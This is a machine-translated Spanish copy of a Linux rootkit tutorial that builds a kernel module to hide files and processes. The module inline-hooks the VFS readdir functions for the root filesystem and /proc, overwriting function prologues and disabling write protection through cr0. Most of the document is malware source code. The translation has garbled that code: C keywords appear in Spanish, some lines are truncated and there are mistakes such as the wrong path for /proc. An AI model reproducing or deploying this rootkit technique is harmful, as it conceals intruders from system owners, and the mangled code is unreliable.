escritura moderna Linux Rootkits 201 – VFS
Tyler Borland (TurboBorland)
destruir y reconstruir
En la última parte nos fijamos en la llamada al sistema de enganche y cómo podemos aprovechar eso para ocultar archivos en el sistema. Por supuesto, hay una multitud de inconvenientes a ese enfoque, así que en vez de esta parte se centrará en los sistemas de ficheros virtuales rootkits. De hecho, vamos a comenzar nuestros controladores de nuevo a partir de un esqueleto básico y construirlo de nuevo. Así que espero que te hayas divertido y jugado un poco con el secuestro de la llamada al sistema, ya que no vamos a usar cualquiera de ese código.
Esqueleto Una vez más
small;»> style=»font-size: # include
# include
# include
MODULE_LICENSE («GPL»);
int rooty_init (void) ;
vacío rooty_exit (void);
module_init (rooty_init);
module_exit (rooty_exit);
int rooty_init (void) {
printk (» rooty: módulo cargado n «);
return 0;}
vacío rooty_exit (void) {
printk (» rooty: Módulo eliminado n «) ;}
sistemas de archivos virtuales
sistemas de archivos virtuales (VFS) son una capa de abstracción para facilitar la comunicación con otros sistemas de ficheros como ext4, fs reiser, u otros sistemas de archivos especiales como procfs. Esta capa adicional se traduce fácil de usar funciones VFS a sus funciones propias que ofrece el sistema de archivos determinado. Esto permite a los desarrolladores interactuar únicamente con el VFS y no tener que encontrar, manejar, y apoyar a las diferentes funciones y tipos de sistemas de archivos individuales.
Hay dos razones principales por las que debemos cuidar sobre esto. En primer lugar, podemos conectar una función VFS y hacer frente a que una función para ocultar la información del sistema de archivos concreto. Esto permite a un secuestro de una ventanilla única para esconderse de cualquier VFS apoyó sistema de ficheros (la mayoría de ellos). Con esto vamos a tener la capacidad de ocultar los archivos y directorios de la mayoría de herramientas con facilidad. La segunda razón es que procfs es un sistema de archivos compatible.
procfs (proc)
El sistema de ficheros proc es una interfaz para administrar fácilmente las estructuras de datos del núcleo. Esto incluye ser capaz de recuperar e incluso cambiar los datos en el interior del núcleo de Linux en tiempo de ejecución. Más importante, para nosotros, sino que también proporciona una interfaz para datos de proceso. Cada proceso se asigna a procfs por su número de identificación del proceso dado. Recuperando este número pid permite que cualquier herramienta para tirar, con privilegios adecuados, cuantos datos que necesita saber acerca de ese proceso dado. Esto incluye la asignación de memoria, uso de memoria, uso de la red, parámetros, variables de entorno, etc Teniendo en cuenta esto, si conocemos el pid y estamos enganchados en el VFS para procfs, también podemos manipular los datos devueltos a estas herramientas para ocultar procesos.
Conseguir Algunas sugerencias
Ahora que sabemos lo que tenemos que hacer primero tenemos que obtener un puntero a la función VFS apropiado para nuestra raíz directorio, /, por la capacidad de ocultar los archivos y directorios. Entonces tendremos que conseguir otro puntero de VFS en / proc para los procfs para ocultar procesos. Pero, ¿qué puntero / función es lo que queremos para secuestrar? Para resolver esto, vamos a echar un rápido vistazo a la estructura file_operations visto en includes / fs.h:
struct {
struct * Módulo de propietario;
loff_t (* llseek) (struct file *, loff_t, int);
ssize_t (* lectura) (struct file *, carbón de leña __ usuario *, size_t, loff_t *);
ssize_t (* escritura) (struct file *, const char * __ usuario, size_t, loff_t *);
ssize_t (* aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
ssize_t (* aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t); />
int sin signo (* encuesta) (struct file *, struct poll_table_struct *);
larga (* unlocked_ioctl) (struct file *, unsigned int, unsigned long);
larga (* compat_ioctl) (struct file *, int sin firmar, unsigned long); />
int (* abierto) (struct inode *, struct file *);
int (* flush ) (struct file *, id fl_owner_t);
int (* release) (struct inode *, struct file *);
int (* fsync) (struct file *, loff_t, loff_t, int datasync) ;
int (* aio_fsync) (struct kiocb *, int datasync);
int (* fasync) (int, struct file *, int);
int (* Bloqueo) (struct file *, int, struct file_lock *);
ssize_t (* ala pagina de Enviar) (struct file *, la página de estructuras *, int, size_t, loff_t *, int);
largo sin signo (* get_unmapped_area) (struct file *, unsigned long, long sin signo, sin signo largo, largo sin signo);
int (* check_flags) (int);
int (* rebaño) (struct file *, int, struct file_lock *);
ssize_t (* splice_write) (struct pipe_inode_info *, struct file *, * loff_t, size_t, unsigned int);
ssize_t (* splice_read) (struct file *, * loff_t, struct pipe_inode_info *, size_t, sin firmar int); />
larga (* fallocate) (archivo * struct file, int modo, loff_t offset, loff_t len);
};
Leer y escribir sería una buena Ir al comenzar a mirar a esta estructura. Sin embargo, en realidad nos ocuparemos en readdir.
READDIR
READDIR toma una estructura linux ‘dirent’ desde el descriptor de archivo indicado y llena un buffer. Readdir (2) fue reemplazada por getdents (2), que permiten a varias estructuras dirent para llenar un búfer. Esta estructura se parece a:
struct {unsigned
d_ino largo; / * Número de inodo * /
d_off largo sin firmar; / * Desplazamiento a la siguiente linux_dirent * /
d_reclen unsigned short; / * Longitud de este linux_dirent * /
caracteres d_name []; / * Nombre del archivo (terminada en cero) * /
/ * Longitud es en realidad (d_reclen - 2 -
offsetof (struct linux_dirent, d_name) * /
/ *
pad caracteres / / Zero byte de relleno
caracteres d_type / / Tipo de archivo ( sólo a partir de Linux 2.6.4;
/ / desplazamiento es (d_reclen - 1))
* /
}
Si bien readdir (2) se sustituidas por getdents (2), ambos se implementan para llamar vfs_readdir en readdir.c que ambos terminan apuntando a «res = file-> f_op-> readdir (archivo, buf, de relleno);». .
Una comida para llevar realmente importante es la parte ‘de relleno’, que es de filldir_t Esto es en realidad la parte que se llena el buffer userland con los datos dirent Como se puede ver aquí:.
dirent = buf-> anterior;
if (dirent) {
if (__put_user (offset, y dirent-> d_off))
Goto efault;
}
dirent = buf-> current_dir;
if (__put_user (d_ino, y dirent-> d_ino))
Goto efault;
si (__put_user (reclen, y dirent-> d_reclen))
Goto efault;
if (copy_to_user (dirent-> d_name, nombre, namlen))
Goto efault;
if (__put_user (0, dirent-> d_name + namlen))
Goto efault;
if (__put_user (d_type, (char * __ usuario) dirent + reclen - 1))
Goto efault;
Así que, cuando secuestramos file-> f_op-> readdir todo lo que realmente tenemos que hacer es gestionar nuestra propia función filldir, analizarlo, y a continuación, llamar a la verdadera readdir con nuestros valores filldir.
Nota acerca de las versiones de kernel> = 3.11
Con 3,11 kernels, vfs_readdir ha sido completamente eliminado y . ahora utiliza iter_dir para el nuevo valor de iteración de file_operations Esto parece «file-> f_op-> iterar (archivo, ctx),» donde ctx es struct dir_context * ctx Esta estructura se parece a:
struct dir_context {
el actor filldir_t const;
loff_t pos;
};
Voy a actualizar este post tan pronto como se termine la cobertura total de 3,11 granos.
Conseguir el Punteros
Con suerte, debería ser bastante fácil de ver cómo funciona este código. Vamos a hacer una función donde queremos recuperar dos punteros. Uno para el sistema de ficheros raíz file-> f_op> readdir y otro para el sistema de ficheros proc de la misma.
void * get_readdir (* camino const char) {/>
if ((file = filp_open (path, O_RDONLY, 0)) == NULL) />
ret = file-> f_op-> readdir;
filp_close (archivo, 0):
retorno ret;}
Y todo lo que hay que hacer ahora es prototipo algunas funciones readdir y punto .. uno de los caminos de nuestra función get_readdir Un prototipo es muy simple, si usted recuerda el aspecto que tenía en el struct file_operations Este prototipo en nuestro ejemplo es:
static int (* o_root_readdir) (struct file * archivo, void * dirent, filldir_t filldir);
static int (* o_proc_readdir) (archivo struct file *, void * dirent, filldir_t filldir);
Y luego en rooty_init, ganamos nuestra puntero en la acción ‘o_root_readdir = get_readdir («/»);’ y ‘o_proc_readdir = get_readdir («/ proc»);’.
El programa de instalación Secuestro
No estamos secuestrando punteros más. Estamos realmente va a utilizar la función de enganche en línea. En lugar de sólo modificar un puntero readdir para que apunte a nuestra propia función, vamos a secuestrar el bytes prólogo de la función readdir VFS. Estos bytes se reemplazará con un objetivo simple pulsación; ret; para x86 y una rax mov, [target]; rax jmp; para x86-64 En x86 que es un x68 para empujar, 4 bytes para la dirección y xc3 para. el ret. En x86-64 que es un x48 x8b para mov a Rax, 8 bytes de la dirección, y luego xff XE0 a jmp a Rax. Esto significa que tenemos que sobreescribir / save 5 bytes en x86 y 12 en x86 . -64 Vamos a seguir adelante y definir esto:
# if defined (__i386__)
# define CSIZE 6 / * tamaño del código * / # define
jacked_code » x68 x00 x00 x00 x00 xc3 «/ * empuje addr; ret * / # define
capilla 1 / * desplazamiento para empezar a escribir la dirección * / # else
# define CSIZE 12 / * el tamaño del código * / # define
jacked_code » x48 x8b x00 x00 x00 x00 x00 x00 x00 x00 xff XE0″ / * rax mov, [addr]; rax jmp * /
# define capilla 2 / * desplazamiento para empezar a escribir la dirección * / # endif
Ahora que tenemos el tamaño y el código, vamos a necesitar para rellenar las direcciones que faltan . con un puntero a nuestras propias funciones readdir y guardar una copia del código original También estaremos gestionando una lista teniendo en cuenta que estamos tratando con el secuestro de dos sistemas de ficheros diferentes Vamos a empezar por mostrar la función:.
vacío save_it (void * objetivo, void * nuevo) {
struct gancho * h;
hijack_code unsigned char [CSIZE];
sin firmar Char o_code [CSIZE];
memcpy (hijack_code, jacked_code, CSIZE);
* (unsigned long *) y hijacked_code [capilla] = (unsigned long) nuevo;
memcpy (o_code, objetivo, CSIZE);
h = kmalloc (sizeof (* h), GFP_KERNEL); />
target = target;
memcpy (h- > hijack_code, hijack_code, CSIZE);
memcpy (h-> o_code, o_code, CSIZE);
list_add (y h-> lista, y hooked_targets);
} .
Una llamada a esta función sería utilizar el puntero que recibimos de * get_readdir y un puntero a la nueva función de modo que nuestra rooty_init ahora se vería así:
int rooty_init (void) {
o_root_readdir = get_readdir (" / ");
save_it (o_root_readdir, rooty_root_readdir);
o_proc_readdir = get_readdir ("/");
save_it (o_proc_readdir, rooty_proc_readdir);}
La parte que no se ha explicado aún es la lista de nuestra función save_it. Porque tenemos dos objetivos diferentes y secuestra tratar con los dos sistemas de archivos, que hace las cosas mucho más fácil utilizar una lista. Simplemente podemos listar cada entrada, compruebe el destino para ver si esto es lo que queremos trabajar, y fijar / secuestrar adecuadamente. Esto hace que sea un método más limpio cuando llegamos al secuestro y la limpieza.
Our Own readdir / filldir
Ahora que sabemos lo que secuestrar y tenemos nuestro código construye, tenemos que construir nuestras propias funciones para readdir / y / del proc. Si te acuerdas de antes, la pieza más importante es el filldir_t que realmente llena el búfer de espacio de usuario con los datos dirent. Vamos a tener dos funciones para cada sistema de archivos. Un tanto readdir y filldir. Cuando se realiza una llamada a la readdir secuestrado, nos vamos a arreglar los datos con el código original y luego llamar a la función con nuestro propio filldir, entonces secuestrar el prólogo bytes una vez más y de retorno. El filldir simplemente comprobar si lo que se quiere ocultar y devolver 0 si se produce una coincidencia. Primero tendremos que averiguar cómo se presenta filldir_t. Para obtener esta información se puede revisar / fs / readdir.c:
static int filldir (void * __ buf, const char * nombre, int namlen, loff_t offset, ino U64, unsigned int d_type)
Con saber cómo readdir y se presenta filldir, finalmente podemos crear nuestras propias funciones:
static int rooty_root_filldir (void * __buff, const char * nombre, int namelen, loff_t offset, ino U64, unsigned int d_type) {
char * get_protect = "rooty";
si strstr (nombre, get_protect) return />
retorno o_root_filldir (__buff, nombre, namelen, offset, ino, d_type);}
int rooty_root_readdir (* Archivo struct file, void * dirent, filldir_t filldir) {
int ret;
o_root_filldir = filldir-t;
fix_it (o_root_readdir);
ret = o_root_readdir (archivo, dirent, y rooty_root_filldir);
jack_it (o_root_readdir);
retorno ret;}
static int rooty_proc_filldir (void * __buff, const char * nombre, int NAMELEN, loff_t offset, ino U64, insigned int d_type) {
largo pid;
char * endp;
largo my_pid = 1;
base corta sin signo = 10;
pid = simple_strtol (nombre, y endp, base)
if (pid == my_pid) />
retorno o_proc_filldir (piel de ante, nombre, namelen, offset, ino, d_type);}
int rooty_proc_readdir (* Archivo struct file, void * dirent, filldir_t filldir) {
int ret;
o_proc_filldir = filldir;
fix_it (o_proc_readdir);
ret = o_proc_readdir (archivo, dirent, y rooty_proc_filldir);
jack_it (o_proc_readdir);
retorno ret;
}
La función rooty_proc_filldir utiliza un pid estática. Su pieza de malware que normalmente comunicar al rootkit para decirle el identificador de proceso para ocultar y añadirlo a una lista de ocultar adecuadamente. Sin embargo, esto es sólo un ejemplo de esqueleto y demostrando el rootkit funciona es el objetivo del artículo. Lo único que queda por explicar es cómo funciona en realidad jack_it y fix_it.
jack_it y fix_it
Estas dos funciones son las que en realidad escribe los datos de prólogo a las funciones readdir secuestrados. Esta técnica se explica en la última parte con el registro cr0. Los únicos cambios reales son las barreras y control de preempción añadido para prevenir posibles condiciones de carrera programación en sistemas SMP y el uso de listas. Como se puede ver en los argumentos fix_it y jack_it, pasamos en el puntero a la función original. Recuerdo que en nuestra función save_it agregamos esto como objetivo en . nuestra lista Así que todo lo que se necesita es para recorrer las entradas de la lista hasta que el partido de los objetivos, a continuación, escribir el código correspondiente a la función dada para hacer esto es que utilizamos list_for_each_entry y desplazarse a través de las entradas de nuestra lista Echemos un vistazo:..
vacío jack_it (void * target) {
/ * mente sucia o.0 * / struct
gancho * h?;
list_for_each_entry (h, y hooked_targets, lista) {
if (target == h-> target) {
preempt_disable ();
barrera () ;
write_cr0 (read_cr0 () y (~ 0x10000)); memcpy />
hijack_code, CSIZE);
write_cr0 (read_cr0 () | 0x10000);
Barrera ();
preempt_enable_no_resched ();}
}}
vacío fix_it (void * target) {
struct gancho * h;
list_for_each_entry (h, y hooked_targets, lista) {
if (target == h-> target) {
preempt_disable ();
Barrera ();
write_cr0 (read_cr0 () y (~ 0x10000)); memcpy />
o_code, CSIZE);
write_cr0 (read_cr0 () | 0x10000 );
barrera ();
preempt_enable_no_resched ();}
}}
Ahora vemos cómo readdir . / filldir funciona, pero por supuesto que quieren apropiarse de los punteros inicialmente incluso apuntar a nuestras funciones controladas Así rooty_init necesitará recurrir jack_it () para iniciar el proceso de apagado El rooty_init final se verá así:.
int rooty_init (void) {
o_root_readdir = get_readdir ("/");
save_it (o_root_readdir, rooty_root_readdir);
jack_it ( o_root_readdir);
o_proc_readdir = get_readdir ("/");
save_it (o_proc_readdir, rooty_proc_readdir);
jack_it (o_proc_readdir);}
Conclusión
Es todo lo que hay que hacer! Ahora tenemos una función VFS rootkit. En las próximas piezas que vamos a empezar a trabajar en la construcción de este rootkit a ser mejor y sin pasar por la seguridad del módulo y otros controles de seguridad. Por ahora usted debe entender el código de rootkit que estoy presentando en la parte inferior de este post. Una vez más, no cubrimos mucho con el apoyo 3.11, pero con la comprensión de cómo funciona el otro código, la comprensión del código 3.11, no debería ser un problema.
Código